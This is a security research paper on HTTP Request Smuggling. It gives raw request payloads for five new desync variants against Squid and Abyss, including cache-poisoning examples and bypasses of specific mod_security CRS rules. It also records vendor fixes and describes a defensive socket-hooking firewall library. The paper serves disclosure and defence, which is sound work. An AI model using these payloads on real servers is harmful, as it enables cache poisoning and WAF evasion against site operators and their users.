HTTP Request Smuggling in 2020 –

New Variants, New Defenses and New Challenges

Amit Klein

SafeBreach Labs

Introduction

HTTP Request Smuggling (AKA HTTP Desyncing) is an attack technique that exploits different interpretations of a stream of non-standard HTTP requests among various HTTP devices between the client (attacker) and the server (including the server itself). Specifically, the attacker manipulates the way various HTTP devices split the stream into individual HTTP requests. By doing this, the attacker can "smuggle" a malicious HTTP request through an HTTP device to the server abusing the discrepancy in the interpretation of the stream of requests and desyncing between the server's view of the HTTP request (and response) stream and the intermediary HTTP device's view of these streams. In this way, for example, the malicious HTTP request can be "smuggled" as a part of the previous HTTP request.

HTTP Request Smuggling was invented in 2005, and recently, additional research cropped up. This research field is still not fully explored, especially when considering open source defense systems such as mod_security's community rule-set (CRS). These HTTP Request Smuggling defenses are rudimentary and not always effective.

My Contribution

My contribution is three-fold. I explore new attacks and defense mechanisms, and I provide some "challenges".

1. New attacks: I provide some new HTTP Request Smuggling variants and show how they work against various proxy-server (or proxy-proxy) combinations. I also found a bypass for mod_security CRS (assuming HTTP Request Smuggling is possible without it). An attack demonstration script implementing my payloads is available in SafeBreach Labs' GitHub repository (https://github.com/SafeBreach-Labs/HRS).
2. New defenses: I explored the options for an HTTP Request Smuggling "plugin," which is a solution that does not require network reconfiguration. This is only practical by allowing the plug-in to inspect the socket stream after it is assembled by the TCP stack. I then implemented a C++ class library which consists of a "socket abstraction layer", a generic class for line protocols (supporting HTTP/1.x, SMTP, FTP, POP3, etc.) and a specific class library for HTTP/1.x "Request Smuggling Firewall" that ensures that the HTTP requests are entirely valid, compliant and unambiguous. The libraries support IPv4 and IPv6, and are available for Windows (x64 and x86) and Linux (x64). They can be downloaded from SafeBreach Labs' GitHub repository (https://github.com/SafeBreach-Labs/RSFW).
3. New challenges: During my research, I discovered some borderline cases of payloads that caused interesting behavior by at least one HTTP device. However, I could not find a "matching" HTTP device with behavior that makes the combination exploitable. Since my pool of HTTP devices is limited and other researchers may have access to other HTTP devices, they may be able to find additional vulnerable combinations.

Related Work

HTTP Request Smuggling was invented and publicized in 2005 by Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin in their seminal “HTTP Request Smuggling” paper. Not much has been done in that area for almost a decade. A renewed interest was kindled by Regis “Regilero” Leroy, who wrote about it in 2015 and presented his research (“Hiding Wookies in HTTP”) in DefCon 24 (2016). HTTP Request Smuggling research was later picked up by James Kettle who added support for Burp and presented his results in BlackHat USA 2019 (“HTTP Desync Attacks: Smashing into the Cell Next Door”) and BlackHat EU 2019 (“HTTP Desync Attacks: Request Smuggling Reborn”).

The following are additional sources of relevant research:

- “Can HTTP Request Smuggling be Blocked by Web Application Firewalls?” by Amit Klein (2005) – explains that HTTP Request Smuggling cannot always be detected/blocked just before the web server (more on that later).
- “Technical Note: Detecting and Preventing HTTP Response Splitting and HTTP Request Smuggling Attacks at the TCP Level” by Amit Klein (2005) is an interesting idea to detect HTTP Request Smuggling at the network level, using the TCP PSH flag.
- “HTTP Response Smuggling” by Amit Klein (2006) – while focused on HTTP **Response** smuggling, this research does, in fact, provide some tricks relevant to HTTP Request Smuggling.

HTTP Request Smuggling variants and payloads can be found in the original HTTP Request Smuggling paper, in the HTTP **Response** Smuggling paper, in the “Hiding Wookies” paper, and in Kettle’s research (BlackHat USA and Burp). Soroush Dalili provides another such repository.

My attack variants are new – they’re not covered by the above research. Additionally, my solution can be applied to any or all HTTP devices. Therefore, I can detect HTTP Request Smuggling well before the stream arrives at the web server.

Research Scope

For this research, I studied the following products in web server and / or HTTP proxy mode:

Server	Version	Web Server mode	HTTP Proxy mode
IIS	10.0 version 1809 (version 10.0.17763)	Yes	
Apache	2.4.41	Yes	
nginx	openresty/1.15.8.2	Yes	
	1.7.18		Yes
Node.js	13.12.0	Yes	
Abyss X1	2.12.1	Yes	Yes
Tomcat	9.0.31	Yes	
Varnish	4.1.10 (Windows)		Yes
	6.4.0		Yes
lighttpd	1.4.49		Yes
Squid	3.5.28 (Windows)		Yes
	4.8-1ubuntu2.2[1]		
Caddy	1.0.4		Yes
Traefik	2.2.0		Yes
HAproxy	2.0.13		Yes

Part 1 – New Variants

In this section, I describe the following new HTTP Request Smuggling variants and show how they work against various proxy-server (or proxy-proxy) combinations:

- Variant 1: “Header SP/CR junk: …”
- Variant 2 – “Wait for It”
- Variant 3 – HTTP/1.2 to bypass mod_security-like defense
- Variant 4 – a plain solution
- Variant 5 – “CR header”

A script demonstrating how I implemented my payloads is available in SafeBreach Labs’ GitHub repository (https://github.com/SafeBreach-Labs/HRS).

Variant 1: “Header SP/CR junk: …”

The following is an example of “Header SP/CR junk”:

```
Content-Length abcde: 20
```

Squid: Ignores (probably handled as a header named “Header SP/CR junk”).

Abyss (web server, proxy): Converts into “Header”. Note that Abyss also supports multiple Content-Length headers – it uses the last one.

This is how the cache poisoning looks, assuming Squid acts as a caching reverse proxy in front of Abyss web server:

```
POST /hello.php HTTP/1.1
Host: foo.com
Connection: Keep-Alive
```

[1] 4.8-1ubuntu2.2 is fully patched (same as 4.10): http://changelogs.ubuntu.com/changelogs/pool/main/s/squid/squid_4.8-1ubuntu2.2/changelog

```
Content-Length: 36
Content-Length Kuku: 3

barGET /a.html HTTP/1.1
Something: GET /b.html HTTP/1.1
Host: foo.com
```

Squid ignores the “Content-Length kuku” header, and uses Content-Length: 36. Therefore it will interpret the second HTTP request as “GET /b.html”.

Abyss, on the other hand, treats “Content-Length kuku” as a valid Content-Length header, and since it’s the last Content-Length header, Abyss uses it and interprets the second HTTP request as “GET /a.html”. Hence Request Smuggling is achieved (Squid indeed caches the content of /a.html for the URL /b.html).

Variant 2 – “Wait for It”

In Variant 1, I had to rely on Abyss’ willingness to accept multiple Content-Length headers - or more accurately, what Abyss interprets as Content-Length headers. This time, I wanted to get around this requirement and hand Abyss a single Content-Length header.

I noticed that when Abyss gets an HTTP request with a body whose length is less than the Content-Length value, it waits 30 seconds, then attempts to fulfill the request. It ignores the remaining body of the request (that is, it reads it and silently discards it) when it is finally sent.

This way, I can use the above techniques without the valid Content-Length header.

This is how it looks with the cache poisoning example, assuming Squid acts as a caching reverse proxy in front of Abyss web server:

```
POST /hello.php HTTP/1.1
Host: foo.com
Connection: Keep-Alive
Content-Length Kuku: 33

GET /a.html HTTP/1.1
Something: GET /b.html HTTP/1.1
Host: foo.com
```

This will make Squid send the POST request without any body (that is, with a body length of 0). Abyss will wait 30 seconds for a body with 33 bytes and will then send back an HTTP response. Squid then sends the GET /a.html request (72 bytes). The first 33 bytes will be silently consumed by Abyss and the latter 39 bytes (GET /b.html) will be interpreted as the second request.

Variant 3 – HTTP/1.2 to bypass mod_security CRS-like defense

Variant 3 demonstrates how HTTP/1.2 can be used to bypass mod_security CRS defenses.

The mod_security’s CRS 3.2.0 attack detection rules have some very rudimentary rules against HTTP Request Smuggling:

- 920 (protocol enforcement): rudimentary checks on the request line format (920100).
  None of my attacks are based on this.
- 920 (protocol enforcement): check that Content-Length value is all digits (920160).
  None of my attacks are based on this.
- 920 (protocol enforcement): “Do not accept GET or HEAD requests with bodies” (920170).
  None of my attacks are based on this.
- 920 (protocol attack): “Require Content-Length or Transfer-Encoding to be provided with every POST request” (920180).
  This only blocks Variant #2.
- 921 (protocol attack): “This rule looks for a comma character in either the Content-Length or Transfer-Encoding request headers” (921100).
  None of my attacks rely on this.
- 921 (protocol attack): CR or LF followed by HTTP verb (e.g. GET/POST) followed by whitespace, in HTTP request body (921110).
  Variant #1 doesn’t do this.
- 921 (protocol attack): look for CR/LF followed by Content-Length (or Content-Type/Set-Cookie/Location) followed by colon, anywhere in the body or cookies (921120).
  None of my attacks rely on this.
- 921 (protocol attack): “HTTP Response Splitting” - look for non-alphanumeric followed by HTTP/0.9 HTTP/1.0 or HTTP/1.1 or <html or <meta, anywhere in the body or cookies (921130).
  This blocks all of my attacks!
- 921 (protocol attack): Look for CR/LF in headers (921140)

  Affects Variant 1 and 2 only if CR is used.
- 921 (protocol attack): “Detect newlines in argument names” (921150).
  This blocks all of my attacks!

I can easily get around 921150, by moving the offending CRs and LFs to a parameter value instead of a parameter name. So for example, in Variant #1, instead of “barGET …”, I use “xy=GET …”.

Now I am left with a simple rule (921130) which originally was developed against HTTP response splitting(!) requests and actually manages to block all my attacks. If I magically remove this rule, then I can use Variant #1, which is not otherwise blocked by any CRS 3.2.0 rule. The effectiveness of the rule hinges on the fact that the attacker must place “ HTTP/1.x” somewhere in the request body.

But does he (or she)?

It turns out that most web servers will happily service “HTTP/1.2” requests as if they were “HTTP/1.1”. This is a variation of the technique described in the “HTTP Response Smuggling” (2005) paper.

IIS, **Apache**, **nginx**, **node.js** and **Abyss** respect HTTP/1.2. They treat HTTP/1.2 as HTTP/1.1.

Squid, HAProxy, Caddy and **Traefik** respect HTTP/1.2 requests and convert them to HTTP/1.1.

So, for example, Variant 1, with HTTP/1.2 in the payload could work as follows:

```
POST /hello.php HTTP/1.1
Host: foo.com
Connection: Keep-Alive
```

```
Content-Length: 36
Content-Length Kuku: 3

xy=GET /a.html HTTP/1.2
Something: GET /b.html HTTP/1.1
Host: foo.com
```

This triggers some application level rule (“Unix direct remote command execution” – 932150), but I can easily circumvent it by moving the “=” sign to after the /b.html and prepend it with “http://foo.com”:

```
POST /hello.php HTTP/1.1
Host: foo.com
User-Agent: foo
Accept: */*
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Content-Length Kuku: 3

barGET http://foo.com/a.html?= HTTP/1.2
Something: GET /b.html HTTP/1.1
Host: foo.com
User-Agent: foo
Accept: */*
```

NOTES:

1. This assumes that mod_security uses a body length of 52 (worst case scenario). If it uses a body length of 3, then a simple GET /a.html request with HTTP/1.1 can do the trick.
2. paranoia_level 3 and 4 introduce forbidden byte checks in the request body, thereby blocking my CR/LF payloads, probably at the cost of a substantial false positive rate, for example, in multipart/form-data form submissions. In fact, the project FAQ says “PL3 may regularly cause FPs which you need to handle.”
3. SP is disallowed in a request header only in PL=4 (rule 920273 – “Restrict type of characters sent”), CR is disallowed in a request header in PL=1 (rule 921140 - “HTTP Header Injection”).

Variant 4 – A plain solution

Another way to bypass paranoia_level≤2 checks is simply to use Content-Type text/plain:

```
POST /hello.php HTTP/1.1
Host: foo.com
User-Agent: foo
Accept: */*
Connection: Keep-Alive
Content-Type: text/plain
Content-Length: 36
```

```
Content-Length Kuku: 3

barGET /a.html HTTP/1.1
Something: GET /b.html HTTP/1.1
Host: foo.com
User-Agent: foo
Accept: */*
```

It seems that paranoia_level≤2 doesn't check the arguments for Content-Type text/plain.

Variant 5 – "CR header"

Technically this is probably the first report of a successful attack involving this variant, which is listed in Burp's HTTP Request Smuggling module as "0dwrap". To date, I am not aware of any published successful attacks with this variant.

Squid ignores this header (forwards it as-is).

Abyss respects this header.

This is an example of how it could look assuming Squid acts as a reverse proxy in front of the Abyss web server):

```
POST /hello.php HTTP/1.1
Host: foo.com
Connection: Keep-Alive
[CR]Content-Length: 33

GET /a.html HTTP/1.1
Something: GET /b.html HTTP/1.1
Host: foo.com
```

Squid ignores the header, making the assumption that the content length is 0 and the second request is for /a.html. Abyss responds after 30 seconds with the content of hello.php, then Squid sends the request for /a.html, Abyss discards the first 33 bytes of this request and sends the content of /b.html. In this way, Squid caches the content of /b.html for the URL /a.html.

Vendor Status

Variant 1 – Aprelium and Squid were informed. Aprelium fixed this in Abyss X1 v2.14. Squid Team assigned CVE-2020-15810 to this issue and suggested the following configuration **workaround**:

```
relaxed_header_parser=off
```

A fix is expected on August 2020 (Squid security advisory SQUID-2020:10)

Variant 2 – Aprellium was informed. Fixed in Abyss X1 v2.14.

Variant 3 – OWASP CRS was informed. Fixed in v3.3.0-rc2 (https://github.com/coreruleset/coreruleset/pull/1770)

Variant 4 - OWASP CRS was informed. Fixed in v3.3.0-rc2 (https://github.com/coreruleset/coreruleset/pull/1771)

Variant 5 – Aprellium and Squid were informed. Aprelium fixed this in Abyss X1 v2.14. Squid Team assigned CVE-2020-15810 to this issue (same as Variant 1) and suggested the following configuration **workaround**:

```
    relaxed_header_parser=off
```

A fix is expected on August 2020 (Squid security advisory SQUID-2020:10)

Part 2 – New Defenses

Some Flawed Approaches (for Proxy Servers)

Normalization of Outbound HTTP Requests

Normalization of outbound HTTP requests (by proxy servers) does address HTTP Request Smuggling **behind** the server, but does nothing to address HTTP Request Smuggling **in front** of the proxy server.
So, for example, if there's a chain of proxy servers:
Client → P1 → P2 → WS   (P1, P2 are proxy servers, WS is a web server)
And if (say) P1 uses the first Content-Length header, and P2 uses the last Content-Length header (and normalizes the outbound HTTP request to contain one Content-Length header with this value), then HTTP Request Smuggling and web cache poisoning can still happen between P1 and P2.
In fact, one can abstract the compound P2 → WS into a single web server WS' which behaves like P2 in terms of HTTP Request Smuggling. The topology becomes:
Client → P1 → WS'

With P1 using the first Content-Length header, and WS' using the last Content-Length header. In this way, it is clear that normalization doesn't "absolve" P2 from its responsibility to facilitating HTTP Request Smuggling, just like we do not absolve web servers from their responsibility for facilitating HTTP Request Smuggling.

One Outbound HTTP Request per TCP Connection

The argument above also applies to the question of whether one outbound HTTP request per TCP connection addresses HTTP Request Smuggling. The answer is the same: it addresses HTTP Request Smuggling **behind** the proxy server, but not **in front** of it.

By the above argument, we abstract P2 and WS into a single web server WS', and thus it's clear that the way P2 communicates the request internally to WS (all inside WS') has no impact on the HTTP Request Smuggling attack that takes place between P1 and P2 (or WS').

A More Robust Approach

Observation: what's needed is a very strict validation of (only!) the HTTP request pieces that handle request length, request verb and protocol.

Everything else is irrelevant and need not be monitored.

So essentially, I'm looking for an open source, robust WAF, with focus on HTTP Request Smuggling.

The obvious go-to product in this case is mod_security, a well-respected, open-source web application firewall (WAF) solution.

Starting with mod_security

mod_security (combined with CRS – the Community Rule Set) is indeed an open source project, but as for robustness and genericity, mod_security+CRS has several drawbacks:

1. It doesn't provide full protection against HTTP Request Smuggling.
2. It is only available for Apache, IIS and nginx.

Defending HTTP/1.x against HTTP Request Smuggling

So, I need to develop my own defense solution.

As a design goal, I wanted to avoid adding (or changing) the network configuration of the system, therefore a standalone WAF (which consumes IP addresses) is out of the question.

One direction I explored is sniffing traffic. This has two drawbacks:

1. It is susceptible to IP-level and TCP-level attacks (à la Ptacek and Newsham 1998 paper "Insertion, Evasion and Denial of Service: Eluding Network Intrusion Detection").
2. While not a mandatory design goal, I wanted my solution to be extensible beyond HTTP Request Smuggling. Therefore I prefer a solution that can overcome traffic encryption (TLS/HTTPS).

To this end, I focused on a solution that is able to "eavesdrop" on the socket layer of the server that needs protection. The easiest way to do so is by injecting my library into the server process and hooking some socket functions. I used a cross-platform open-source injection library for this – Jubo Takehiro's FuncHook.

My solution is a generic C++ library. It can handle various "line protocols," including HTTP/0.9, HTTP/1.0, HTTP/1.1, SMTP, ESMTP, FTP, POP3, etc.

Implementing on Multiple Layers

My defense implementation focuses on HTTP/1.x and consists of two separate layers:

- Socket Abstraction Layer (SAL)
- HTTP/1.x Request Smuggling Firewall

Socket Abstraction Layer (SAL)

The Socket Abstraction Layer (SAL) layer implements several hooks on socket functions that enable the layer to collect each incoming network byte. The upper layer gets a standard "view" of the socket (such as open/read/close) and the socket endpoint information (that is, address and port), regardless of the underlying socket implementation (including Windows vs. Linux). SAL does not buffer any data.

I successfully tested SAL on the following servers on Windows 10 64-bit. The table also shows which WinSock functions need to be hooked:

Server	Bitness	WSAAccept	AcceptEx	WSARecv	closesocket	GetQueued Completion Status/Ex	Get Overlapped Result
Apache	64		Yes	Yes	Yes	Yes	Yes
nginx	64	Yes		Yes	Yes		
node.js	64		Yes	Yes	Yes	Yes	
Abyss	64	Yes		Yes	Yes		Yes
Tomcat	32	Yes		Yes	Yes		
lighttpd	32	Yes		Yes	Yes		

Note: Process injection to IIS is not applicable, since part of its processing is done in kernel space.

A straightforward sockets implementation (like nginx, Tomcat and lighttpd) goes through a cycle of **open** (`WSAAccept`), **read** (`WSARecv`) and **close** (`closesocket`), so monitoring these functions provides complete control over the socket lifecycle.

`AcceptEx` is a Microsoft extension to the WinSock API, which provides asynchronous operation using IOCP. `AcceptEx` completion status can be checked by the following:

`GetQueuedCompletionStatus/GetQueuedCompletionStatusEx`

or by

`GetOverlappedResult`.

Hence, with Apache and node.js, these functions should be hooked.

Abyss uses `GetOverlappedResults` for some tasks, but it can probably be safely ignored for my purposes.

In the Linux case, the socket operation is more straight-forward. For most servers, it suffices to hook `accept4`, `recv/read` and `shutdown`.

Node.js uses the uvlib network library, which doesn't call accept/accept4 (it invokes libc's `syscall` function directly instead). Therefore, for node.js, we need to hook uvlib's `uv__accept4`.

I tested only 64-bit architecture, here are the results:

Server	accept	accept4	uv__accept4 (libuv)	recv	read	shutdown	close
Apache		Yes			Yes	Yes	(Yes)
nginx		Yes		Yes		Yes	(Yes)
node.js			Yes		Yes	Yes	(Yes)
Abyss	Yes			Yes			Yes
Tomcat	Yes				Yes	Yes	(Yes)
lighttpd		Yes		(Yes)	Yes	Yes	(Yes)
Squid	Yes				Yes		Yes
HAproxy		Yes		Yes			Yes

Challenges and Lessons Learned:

- Worker processes – some servers fork multiple worker processes. These processes need also to be injected into and hooked (not implemented – I forced the server into a single process mode).
- Locking – access to the socket management table should be done in a thread-safe manner (not implemented)

- Error state – both SAL’s logging, and upper layers’ operations may alter the error state (errno, LastError, WSALastError). Therefore it is important to ensure that the error state at the end of the original call is restored before returning control from the hook.
- STDOUT/STDERR are not always available. It is better to log to a file.
- Squid (Linux) doesn’t like `fclose()`. We’re using open-write-close (for logging) instead.
- (Linux) Statically linked executables with stripped symbols (e.g. compiled Go products – Traefik, Caddy) cannot be hooked.
- (Linux) When using `strace`, care should be taken to interpret the results correctly. `strace` may show that `recvfrom` system call is invoked, but in fact `recv()` is called, which is implemented using the `recvfrom` system call.
- Some SW call accept/accept4 with NULL pointer for the `addr` argument.

HTTP/1.x Request Smuggling Firewall (RSFW)

This layer implements HTTP Request Smuggling protection by enforcing strict adherence to the HTTP/1.x standard on incoming requests. This requires careful state maintenance for each socket. It is robust, since it takes a whitelist approach rather than a blacklist approach. I tested many known attack vectors, and each one was successfully blocked.

In essence, it parses protocol lines, caching internally partial lines (but still forwarding all the data immediately to the application) until a full line is formed and can be parsed. It terminates the connection upon the first violation, so at any given time, the backend application (e.g. a web server) never sees a complete line with a violation.

A recommended design principle is to terminate a socket as soon as an HTTP violation is detected from the line on which the violation was found. A line with a violation should not be forwarded to the application (web server).

The following logic is implemented at present:

- Strict enforcement of request line format
- Strict enforcement of HTTP header format
- Special treatment of Content-Length and Transfer-Encoding headers
- Strict enforcement of chunked encoding body format

The following logic awaits future implementation:

- Support for non-RFC-2616 HTTP verbs (for example, WebDAV)
- Special treatment of additional sensitive headers, for example, Host and Connection
- Support for trailing headers in chunked encoding

The implementation (C++ class library) is available in Safebreach Labs’ GitHub repository (https://github.com/SafeBreach-Labs/RSFW).

Part 3 – New Challenges

Throughout my research and work on a defense solution, I discovered some interesting “anomalies” in some web/proxy servers, which I could not find an exploitation for. Remember that HTTP Request Smuggling relies on two HTTP devices behaving differently when given the same

HTTP request stream. Obviously, responding with an HTTP error code and terminating the connection thereafter is not an interesting behavior.

Can you find a server that behaves differently (yet does not respond with an HTTP error followed by connection termination)? If so, that may constitute an HTTP Request Smuggling attack variant.

CR is Hyphenated (or in Uppercase?)

One web server I looked at treats a header such as “Content[CR]Length: …” as “Content-Length: …”. I didn’t check why, but possibly they first apply a bitwise-OR with 0x20 to make the string all upper case, and then do the comparison.

So this web server will happily respect this request. Abyss (as a proxy server) will convert it to “Content: …” which doesn’t allow an attack. All the other servers I tested respond with a 400 error.

Therefore, any proxy server which silently ignores this header, in combination with this web server may enable an HTTP Request Smuggling attack.

Signed Content-Length

Abyss and **Squid** treat a “Content-Length: +*n*” header the same way as “Content-Length: *n*” header (and forward it as-is). If there is a web server that silently ignores this header, then this can yield an HTTP Request Smuggling vulnerability via a combination of such a web server and the above proxy servers.

The case of **go** (which is the basis for proxy servers e.g. **Caddy** and **Traefik**), **Apache** and **lighttpd** is more challenging. These proxy servers normalize the header they forward, and so a more complex system is needed, wherein another proxy (which ignores this header) is in front of go/lighttpd. However, this is still not exploitable, since such proxy will forward the request without a body (body length 0), yet the second proxy server (go/lighttpd) will wait “forever” for the body to arrive.

Vendor status: this was fixed by:

- Squid (details in the advisory SQUID-2020:7 - https://github.com/squid-cache/squid/security/advisories/GHSA-qf3v-rc95-96j5), CVE-2020-15049.
- Aprellium – in Abyss X1 v2.14.
- Go – Go 1.15-beta1 (https://github.com/golang/go/issues/39017#issuecomment-651438879, https://go-review.googlesource.com/c/go/+/234817/)

Content-Length value with space

Nginx web server ignores a header like “Content-Length: 12 34”. If we can find a proxy server that will treat this as 1234 (or as 12 or as 34), then we can mount an HTTP Request Smuggling condition on the system.

Note: this was reported to nginx and closed as WONTFIX. Nginx’s full response is:

> Thank you for your report.
>
> As you correctly wrote, the header in question is not RFC
> complaint, and any server which tries to iterpret it as a
> "Content-Length" header with a value "12", "34", or "1234" handles

> the request incorrectly, and should be fixed.
>
> Historically, nginx does not reject messages with invalid headers, but rather ignores invalid headers and does not pass them to upstream servers by default[1]. We can consider rejecting such requests with code 400 instead. But in either case this doesn't look like a vulnerability in nginx, as the request in question cannot be passed through a complaint HTTP proxy with the header intepreted as a Content-Length header, resulting in an HTTP Request Smuggling attack.
>
> [1] http://nginx.org/r/ignore_invalid_headers

Chunky Monkey Business

This web server simply ignores incoming Transfer-Encoding headers (so without a Content-Length header, it simply assumes the body length is 0). I could not find a way to exploit this, since there's no way (I can think of) to interpret a chunked-encoding body as a new HTTP request – no HTTP verbs only use the A-F letters, and the mandatory CRLFs in chunked encoding interfere with forming a valid request line.

if anyone can find an exploitable condition for any of the above, please drop me a line!

Conclusions

In this research, I demonstrated that even after 15 years, there are still plenty of new HTTP Request variants that apply to popular web servers and HTTP proxy servers. I demonstrated that there's a gap in the free, open source protection solutions, and I provided a more secure and robust solution that can be applied to many web servers and proxy servers. While my solution is still a proof-of-concept, it shows a lot of potential. Finally, I bring forth several interesting anomalies that can become the future HTTP Request Smuggling variants, and thus I show that there's still plenty of uncharted territory for HTTP Request Smuggling.